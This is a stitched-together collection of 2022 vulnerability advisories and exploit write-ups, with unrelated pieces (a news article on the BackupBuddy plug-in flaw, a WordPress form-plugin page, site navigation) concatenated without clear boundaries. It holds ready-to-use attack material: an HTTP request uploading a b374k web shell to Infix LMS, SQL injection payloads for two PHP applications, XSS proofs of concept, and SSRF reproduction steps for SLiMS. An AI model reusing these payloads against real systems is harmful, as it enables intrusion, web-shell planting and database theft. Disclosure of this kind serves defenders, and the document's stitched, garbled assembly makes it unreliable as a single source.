SLiMS Senayan Library Management System v9.4.2 was discovered to contain multiple Server-Side Request Forgeries via the components /bibliography/marcsru.php and /bibliography/z3950sru.php.

**The bug**  
A Server Side Request Forgery exists in admin/modules/bibliography/marcsru.php and admin/modules/bibliography/z3950sru.php due to the class in lib/marc/XMLParser.inc.php

**Reproduce**  
Steps to reproduce the behavior:

1.  Go to http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/index.php?mod=bibliography then go to copy cataloguing
2.  choose between marc sru or 23950sru
3.  type in something what you want in the search bar
4.  set burpsuite intercept on
5.  change the z3950_SRU_source or marc_SRU_source parameter value to some url that grab the traffic
6.  forward the request
7.  or just visit http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/modules/bibliography/marcsru.php?keywords=aaaaaaaa&index=0&marc_SRU_source=URL_ENCODED_ENDPOINT_THAT_CAPTURE_HTTP_LIKE_HOOKBIN

**Screenshots**  
Normal requests

Tampered and SSRF trigger(netcat)

Tampered and SSRF trigger(toptal.com)

**Versions**

*   OS: MacOS Mojave 10.14.6
*   Browser: Google Chrome | 103.0.5060.134 (Official Build) (x86\_64)
*   Slims Version: slims9\_bulian-9.4.2

CVE-2022-38292: [Security Bugs]  Server Side Request Forgery · Issue #158 · slims/slims9_bulian

ETAP Safety Manager version 1.0.0.32 suffers from a cross site scripting vulnerability.

    ETAP Safety Manager 1.0.0.32 Remote Unauthenticated Reflected XSSVendor: ETAP Lighting International NVProduct web page: https://www.etaplighting.comAffected version: 1.0.0.32Summary: The ETAP Safety Manager (ESM) is a central managing and controlsystem that helps you to monitor, adjust and maintain your emergency lightingsystem. Therefore each luminaire connected to your ESM network is given aunique code. The ESM can easily identify the luminaires individually andautomatically report whether all luminaires work properly. You can eitherchoose between a wired or wireless network, or a combination of both. WithESM you will not only manage your self contained or your centrally supplied‘ETAP Battery System’ (EBS) emergency luminaires’, but also DALI emergencyunits and K9 LED modules, which you can build into your luminaires. Sinceyour ESM system is connected to the Internet, you will always have accessto it through the World Wide Web. ESMweb™ is an ‘embedded web server’application for monitoring an emergency lighting system, which runs in the‘ESM web controller’. The ESMweb™ application can be accessed from any PCin the corporate network or connected to the Internet - by a standard webbrowser.Desc: Input passed to the GET parameter 'action' is not properly sanitisedbefore being returned to the user. This can be exploited to execute arbitraryHTML/JS code in a user's browser session in context of an affected site.Tested on: Apache/2.4.41 (Ubuntu)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2022-5711Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5711.php22.08.2022--PoC:GET /json/authenticate.php?action=[XSS]&username=waddup&password=nm HTTP/1.1{"success":false,"errorMessage":"Invalid command: $","errorCode":0,"errorInfo":"\/var\/www\/etap-root\/scripts\/class.dispatch.php(39)","rows":[]}

ETAP Safety Manager 1.0.0.32 Cross Site Scripting

Infix LMS version 4.3.0 suffers from a remote shell upload vulnerability.

    # Exploit Title: Infix LMS - Learning Management System Shell Upload# Exploit Author: th3d1gger# Vendor Homepage: https://codecanyon.net# Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608# Version: 4.3.0# Tested on Ubuntu 18.04sign up as teachergo profile page and try to upload profile picwith bypass name restriction on post request with burp or etc, upload b374k with burp or else -------Request-----------POST /profile-update HTTP/1.1Host: localhostContent-Length: 102201Cache-Control: max-age=0sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzjX6L4V6hVC4KIECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/profile-settingsAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijhpc05lZDlpcElOM1ZJZ0sxZDBXSUE9PSIsInZhbHVlIjoiVXRsZGNUNVlGWXY5RVpxTDVPK08wQW5TK05RMmUvRUVYKzQ0L0R0cHpyZmhmUFFHVm04ZWo2UVVUYkNuYm15c3RrcUlzQnJySnBWUHdHOGF6NkVneUNibDZxbEc1MytrWVRzVDVhaDNOYjN1ZGI1aHFEd3B2VXgrczZrUjEzR2QiLCJtYWMiOiJkNTZmNTU3YzU0NzJlNzJhMWIwMWNmMDhjMjI2ZTEzZjgwMDY0Mzk1ZjRiMWNhZjczZjhmNTQyN2NiNWZhMTdjIiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6InBSSllCaHF1UFlLS0dpT3RYaHRkRkE9PSIsInZhbHVlIjoiYlI3ak1obGtEa1hiV1hhOEF4V2Y1RjVTQmJHVjdvRmUrRmM0aE4wcElycHRCWnNVeG5LSVJBb3A1SDBXaU9mUzZTZ2EvSDZTZ00vRmZUbXZXZ2UzK3BsMlRJVDlJSThpRGc0SEEvZmh5cmtHSkhDWGNTOCtEcFdkaGEwdjhpOHAiLCJtYWMiOiI0NjJhMTRjNjIyMWQyM2MxZDliOGIzYjNmZmQ5YjA1YWVmYjUzZjhjMmI2MjAwNTFiZGNlN2RiMmUyMzhlZDFhIiwidGFnIjoiIn0%3DConnection: close------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="_token"0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="name"Teacher------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="email"teacher@infixedu.com------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="phone"01711223345------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="country"19------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="city"1374------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="zip"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="currency"112------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="language"19------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="facebook"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="twitter"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="linkedin"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="instagram"------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="short_details"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="about"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryzjX6L4V6hVC4KIECContent-Disposition: form-data; name="image"; filename="shell.php.jpg.php"Content-Type: image------b374kshell content-----------WebKitFormBoundaryzjX6L4V6hVC4KIEC--

Infix LMS 4.3.0 Shell Upload

Multiple persistent cross-site scripting (XSS) vulnerabilities in index.php in tramyardg Hotel Management System 1.0 allow remote attackers to inject arbitrary web script or HTML via multiple parameters such as "fullname".

Product: Hotel Management System

Vendor: https://github.com/tramyardg

Affected Version(s): 1.0

CVE ID: CVE-2022-36254

Description: Multiple persistent cross-site scripting (XSS) vulnerabilities in index.php in tramyardg Hotel Management System 1.0 allow remote attackers to inject arbitrary web script or HTML via multiple parameters such as "fullname".

Vulnerability Type: Cross-Site Scripting (XSS)

Root Cause: Functions like insert(Customer $customer) in source file CustomerDAO.php do not have back-end input sanitization. And there is no sanitization on index.php as well.

Impact: An attacker is able to hijack authenticated users' sessions and act on behalf of them.

PoC:

1.  Register a new account, then create a booking.
2.  Submit the booking request, and ultilize Burpsuite to intercept the request.
3.  Modify the value of a parameter such as requirement to <script>alert(1)</script>
4.  Forward the request, and refresh index page. The payload will be triggered.

CVE-2022-36254: Public Reference for CVE-2022-36254

In Simple Online Book Store System 1.0 in /admin_book.php the Title, Author, and Description parameters are vulnerable to Cross Site Scripting(XSS).

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    *   Explore
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Changelog
    
*   *   By Size
    *   Enterprise
    *   Teams
    *   Compare all
    
    *   By Solution
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    *   Case Studies
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    *   Repositories
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

CVE-2022-37796: CVE_demo/Simple Online Book Store-XSS.md at main · anx0ing/CVE_demo

In Library Management System 1.0 the /card/in-card.php file id_no parameters are vulnerable to SQL injection.

    POST /LMS/card/id-card.php HTTP/1.1
    Host: 172.20.10.14
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
    Content-Length: 112
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Language: zh-CN,zh;q=0.9
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Cookie: PHPSESSID=8l03mutpmr44pg0gv96afbujmn
    Origin: http://172.20.10.14
    Referer: http://172.20.10.14/LMS/card/id-card.php
    Upgrade-Insecure-Requests: 1
    Accept-Encoding: gzip
    
    id_no=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707171,0x686a467041767a434e5574435a446348437562755059707141736f7047694178686e787163596d6e,0x717a6a7a71),NULL#&search=

CVE-2022-37794: CVE_demo/Library Management System with QR code Attendance and Auto Generate Library Card - SQL injections.md at main · anx0ing/CVE_demo

The critical flaw in BackupBuddy is one of thousands of security issues reported in recent years in products that WordPress sites use to extend functionality.

Attackers are actively exploiting a critical vulnerability in BackupBuddy, a WordPress plug-in that an estimated 140,000 websites are using to back up their installations.

The vulnerability allows attackers to read and download arbitrary files from affected websites, including those containing configuration information and sensitive data such as passwords that can be used for further compromise.

WordPress security vendor Wordfence reported observing attacks targeting the flaw beginning Aug. 26, and said it has blocked close to 5 million attacks since then. The plug-in's developer, iThemes, issued a patch for the flaw on Sept. 2, more than one week after the attacks began. That raises the possibility that at least some WordPress sites using the software were compromised before a fix became available for the vulnerability.

**A Directory Traversal Bug**

In a statement on its website, iThemes described the directory traversal vulnerability as impacting websites running BackupBuddy versions 8.5.8.0 through 8.7.4.1. It urged users of the plug-in to immediately update to BackupBuddy version 8.75, even if they are not currently using a vulnerable version of the plug-in.

"This vulnerability could allow an attacker to view the contents of any file on your server that can be read by your WordPress installation," the plug-in maker warned.

iThemes' alerts provided guidance on how site operators can determine if their website has been compromised and steps they can take to restore security. These measures included resetting the database password, changing their WordPress salts, and rotating API keys and other secrets in their site-configuration file.

Wordfence said it had seen attackers using the flaw to try to retrieve "sensitive files such as the /wp-config.php and /etc/passwd file which can be used to further compromise a victim."

**WordPress Plug-in Security: An Endemic Problem**

The BackupBuddy flaw is just one of thousands of flaws that have been disclosed in WordPress environments — almost all of them involving plug-ins — in recent years.

In a report earlier this year, iThemes said it identified a total of 1,628 disclosed WordPress vulnerabilities in 2021 -- and more than 97% of them impacted plug-ins. Nearly half (47.1%) were rated as being of high to critical severity. And troublingly, 23.2% of vulnerable plug-in had no known fix.

A quick scan of the National Vulnerability Database (NVD) by Dark Reading showed that several dozen vulnerabilities impacting WordPress sites have been disclosed so far in the first week of September alone.

Vulnerable plug-ins are not the only concern for WordPress sites; malicious plug-ins are another issue. A large-scale study of over 400,000 websites that researchers at the Georgia Institute of Technology conducted uncovered a staggering 47,337 malicious plug-ins installed on 24,931 websites, most of them still active.

Sounil Yu, CISO at JupiterOne, says the risks inherent in WordPress environments are like those present in any environment that leverages plug-ins, integrations, and third-party applications to extend functionality.

"As with smartphones, such third-party components extend the capabilities of the core product, but they are also problematic for security teams because they significantly increase the attack surface of the core product," he explains, adding that vetting these products is also challenging because of their sheer number and lack of clear provenance.

"Security teams have rudimentary approaches, most often giving a cursory look at what I call the three Ps: popularity, purpose, and permissions," Yu notes. "Similar to app stores managed by Apple and Google, more vetting needs to be done by the marketplaces to ensure that malicious \[plug-ins, integrations, and third-party apps\] do not create problems for their customers," he notes.

Another problem is that while WordPress is widely used, it often is managed by marketing or Web-design professionals and not IT or security professionals, says Bud Broomhead, CEO at Viakoo.

"Installing is easy and removing is an afterthought or never done," Broomhead tells Dark Reading. "Just like the attack surface has shifted to IoT/OT/ICS, threat actors aim for systems not managed by IT, especially ones that are widely used like WordPress."

Broomhead adds, "Even with WordPress issuing alerts about plug-ins being vulnerabilities, other priorities than security may delay the removal of malicious plug-ins."

Attackers Exploit Zero-Day WordPress Plug-in Vulnerability in BackupBuddy

Online Notice Board 2022 suffers from a remote SQL injection vulnerability.

    ## Title: ONLINE-NOTICE-BOARD-2022 SQLi## Author: nu11secur1ty## Date: 09.09.2022## Vendor: https://www.sourcecodester.com/users/razormist## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022## Description:The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears tobe vulnerable to SQL injection attacks.The malicious user can dump-steal the database, from this system andhe can use it for very malicious purposes.NOTE: The users of this system are NOT protected, this SQLvulnerability is CRITICAL!STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: e (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: e=MfbByvbe@glupakarazormist.net' OR NOT 5051=5051#Wypj&p=h8F!c4q!L9&save=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: e=MfbByvbe@glupakarazormist.net' OR (SELECT 8344FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: e=MfbByvbe@glupakarazormist.net' AND (SELECT 8661 FROM(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login    Type: UNION query    Title: MySQL UNION query (NULL) - 10 columns    Payload: e=MfbByvbe@glupakarazormist.net' UNION ALL SELECTNULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)## Proof and Exploit:[href](https://streamable.com/4u9diy)

Online Notice Board 2022 SQL Injection

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in All in One SEO plugin <= 4.2.3.1 at WordPress.

CVE-2022-38093: All in One SEO – Best WordPress SEO Plugin – Easily Improve SEO Rankings & Increase Traffic

Authenticated (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in Ali Khallad's Contact Form By Mega Forms plugin <= 1.2.4 at WordPress.

*   Details
*   Reviews
*   Support
*   Development

Mega Forms is highly advanced contact form builder for WordPress, it comes with all the contact form features you will ever need, including AJAX submission, multi-page contact forms, secure file uploads, conditional logic, save and continue, and tons more. You can use Mega Forms to save time, grow customer interaction, and build better contact forms for any purpose.

Mega Forms gives you a modern interface, easy customization, and the ability to build modern & professional forms thanks to our intuitive drag & drop visual editor.

Now you can create better forms, embed them anywhere on your WordPress website, get email notification for each submission, perform custom tasks, and collect & manage data without being a coding ninja.

Mega Forms contact forms are also highly optimized for web and server performance. We know how important speed is when it comes to SEO and user experience, that’s why we have built every piece of Mega Forms with performance and usability in mind. Mega Forms will load the least possible amount of CSS & JS assets, and only store necessary data to the database to keep your website fast and provide your users with better experience.

**No Coding Skills Required**

No technical skill? No problem. You can easily design simple and complex forms with our highly advanced visual builder. Mega Forms offers a flexible row/column layout system that requires very minimal effort to build forms that blends nicely with your website design.

**Developer Friendly**

Mega Forms has been built with developers in mind. This means it’s flexible, easily extendable, and full of action and filter hooks, making it easy to customize to your own needs.

**Top Features**

Mega Forms comes with a visual editor and ton of other features:

*   Intuitive user interface
*   Drag & drop form builder
*   Optimized for speed & performance
*   Tons of free field types ( text, select, radio, checkboxes and more )
*   Regular updates & dedicated support
*   Fully responsive & mobile friendly
*   Unlimited forms & form submission
*   Merge tags support
*   Multi-steps support
*   Conditional logic support
*   Export and import forms
*   Customizable templates
*   Full control ( styles, email templates, field templates and more )
*   Developer friendly
*   Highly effective Anti-spam system ( invisible to users )

**Does Mega Forms Have A Getting Started Guide**

We’re currently still working on building Mega Forms site, once completed, it will have a complete list of resources at https://wpmegaforms.com/

**Is There A Documentation For Developers**

We’re currently still working on building Mega Forms site, once completed, it will have a complete list of resources at https://wpmegaforms.com/

**Does It Work On All Devices**

Yes, Mega Forms is completely responsive and will display forms properly on all types of devices.

**Does It Include Spam Protection**

Yes, we are using a combination of Honeypot & Timetrap to make great spambot-proof forms. We have implemented these thwarting techniques in a way that makes them very effective in detecting and blocking spam submissions without annoying the real users.

**Can I Export & Import Forms**

Yes, you can easily export and import forms via the dedicated export/import tool in the admin area.

**What Field Types Does Mega Forms Offer**

Mega Forms comes with all the fields you need:

*   Text Field
*   Paragraph Text (Textarea)
*   Dropdown Field
*   Radio Buttons
*   Checkboxes
*   Number
*   Name
*   Email Address
*   Address
*   Phone
*   Password
*   Date
*   Website
*   Hidden
*   HTML ( HTML code )
*   Divider
*   Question
*   File Upload
*   Consent

Here is a list of the field types in progress:

*   Google ReCaptacha
*   Calculated Field
*   Star Rating
*   Rangle Slider
*   Toggle
*   Signature
*   Pricing ( field group )

Here is a list of the field containers in progress:

*   Repeatable Group
*   Tabs
*   Accordions

**What Actions Does Mega Forms Offer**

Mega Forms comes with the necessary actions by default:

*   Email Notification
*   WordPress Hook

Here is a list of actions in progress:

*   Google Spreadsheet
*   Integrations ( MailChimp, ActiveCampaign, ConvertKit, AWeber, Campaign Monitor…etc )
*   Webhooks
*   Front End Posting
*   Register User

**Is It Translation Ready**

Yes, Mega Forms has full translation and localization support via the ‘megaforms’ textdomain.

**What Features Are Coming Next**

We are in the process of building more features, here is a list:

*   Form Chaining
*   Export Entries into CSV
*   Tons Of Integrations
*   Payments
*   PDF Copy
*   Save And Continue Later
*   Advanced Stats

We don’t promise all of this will be available soon, but we promise we’ll do our best to ship these features as soon as we can.

Mega Forms is a great drag n drop contact form builder. It supports all form fields you need and has a multi-page form option.

This is a very useful plugin for creating simple forms in WordPress. It saves entries in DB which can be very useful. Form builder is simple with easy to understand UI. I hope it will get more features. Ability to export entries in .xlsx and .pdf would be great.

Simple and perfect plugin to create your form

Congratulations, I'm very happy to be the second one to publish a review for this great plugin.

I think it is a useful Plugin and We wait for more Featuresز Due to the WordPress Hook, I think it is good to explain it in your Plugin Page or URL to let the Users Know how to use it.. Best regards

Read all 5 reviews

“Contact Form By Mega Forms – Drag and Drop Form Builder” is open source software. The following people have contributed to this plugin.

Contributors

*    Ali Khallad

**1.0.0**

*   First release

**1.0.1**

*   Fixed bug ( error when saving forms without adding actions )

**1.0.2**

*   Fixed bugs ( Form editior not taking full screen size, admin area styling fixes..etc )
*   Added “Section” field
*   Added “Question” field ( mainly added to help with Spam prevention )
*   Added the possibility to make “Divider” field transparent ( maily to be used as a “spacer” when needed )
*   Corrected some spelling mistakes

**1.0.3**

*   Fixed bugs
*   Added option to disable saving entries on form submission ( usefull for updating user info..etc )
*   Implemented Anti-spam technique ( Honeypot trap )
*   Added shortcode processing feature to the HTML field

**1.0.4**

*   Fixed bugs ( honeypot issues, php errors on empty form submission, choices not saving in order after moving them around…etc )
*   Added Anti-spam technique ( timetrap )

**1.0.5**

*   Fixed bugs
*   Added pre-made forms feature ( you can now create form based on pre-made templates )

**1.0.6**

*   Fixed bugs ( Styling issues, repeated name attributes when using multiple forms on same page )
*   Improvements to the overall user experience
*   Improvements to the form editor design to allow more clarity while building and managing forms
*   Added more flexibility for developers to create fields, field options..etc
*   Added AJAX submission support
*   Added conditional logic

**1.0.7**

*   Improved: order and display of options in the edit field tab ( Form editor )
*   Fixed: duplicate field setting tabs not responding ( Form editor )
*   Fixed: AJAX form doesn’t respond after first submission
*   Fixed: “Maximum call stack size exceeded” JS error when deep conditional logic is implemented
*   Added: multi-step feature ( paged forms )
*   Added: file upload field

**1.0.8**

*   Styling fixes
*   form editor preview fixes ( wrong column width + wrong description position when typed the first time )
*   Fixed: form shortcode was returning as an empty string when called via AJAX
*   Fixed: AJAX validation was adding duplicate notices for choice fields (radios, checkboxes)
*   Fixed: bug in mfget_option function that mixes between false and non-existing setting values causing some of the true/false settings to have unexpected behavior
*   Added: Save and continue feature
*   Added: Consent field

**1.0.9**

*   Extended “One line text” and “Paragraph text” fields so that the user can view number of characters typed if the maximum length is set for these fields.
*   Added the ability to control field label visibility (show/hide)
*   Fixed bug: When duplicating a field in the form editor, the field values were not copied over to the new field
*   Fixed bug: When adding field tag in the form editor, the field preview didn’t update with the new field value because the change event is not triggered for that field

**1.1.0**

*   Fixed: emails were not being sent when there are multiple recipients

**1.1.1**

*   Performance optimization ( combined and minifed CSS & JS resources )
*   Improved conditional logic

**1.1.2**

*   Fix: a JS bug that prevents items from displaying in the single entry page
*   Fix: email header issues
*   Fix: conditional logic not working on compound fields
*   Improvement: Make phone & number fields display a keypad on mobile view instead of the default keyboard.

**1.1.3**

*   Update: include all PRO features in free version and drop the paid version ( Mega Forms with all PRO features is now free ).
*   Fix: a bug in the referrer column in entries table that prevents the creation of entries if the referrer is longer than 100 chars.

**1.1.4**

*   added filter hook “mf\_bypass\_session\_error” to allow bypassing session validation error ( usefull when cookies aren’t allowed/saved ).

**1.1.5**

*   Fix: form email action issues ( subject was empty by default, email not sending when the “from” field is not formatted correctly )
*   Fix: entries list display ( the list was showing all columns/fields by default which can cause unpleasant view for large forms)
*   Fix: fields order was based on ID order on different areas ( emails, entries, entry lists..etc ), this is corrected to show fields in the same order as they appear on the form.
*   Improved the “Change columns visibility” option design/display on the entries list page
*   Ensure that once an entry is deleted, all associated files will be deleted as well.
*   Added a link to download/view uploaded files in email notifications

**1.1.6**

*   Fix: bug in file field description ( removing file field description was not possible )
*   Added WordPress shortcodes support to the “default value” field
*   Fix: syntax error during activation

**1.1.7**

*   Added cookies compatibility with wpengine ( to prevent caching issues )
*   Fixed a bug with WP admin notices ( hiding notices outside the plugin’s pages )
*   Fixed a bug with the plugin’s admin snackbar ( not being loaded on some pages )

**1.1.8**

*   Bug fixes in the drag and drop uploads field ( inaccurate file count … )

**1.1.9**

*   Fix: a bug in “more options” selection in email action that only allows a single value to be saved
*   Fix: a bug making the filetype case-sensitive in upload field

**1.2.0**

*   Fix: a bug in checkbox option that is causing only the last selected value to be saved from a checkbox list in AJAX submissions
*   Fix: a bug in “form save” process that is causing only a single “form action” to be saved.

**1.2.1**

*   Fix: maintain the selected tab selected after page refresh ( admin settings )
*   Added: ability to export form entries

**1.2.2**

*   Changed Mega Forms session cookie prefix from “mf” to “wordpress\_mf” to ensure compatibility with caching plugins and hosting providers caching.
*   Fixed: CSS clearfix incompatibility with some theme which causing the layout of some fields to break ( eg; address field when error are displayed )
*   Fixed: Bug that prevented the “CSS Classes” value from being saved for form fields.

**1.2.3**

*   Styling fixes
*   Reduced resources ( CSS, JS ) size.

**1.2.4**

*   Add support to multisite

**1.2.5**

*   CSS Fixes
*   Fixed a XSS issue. Credit: ptsfence.

Tag

#php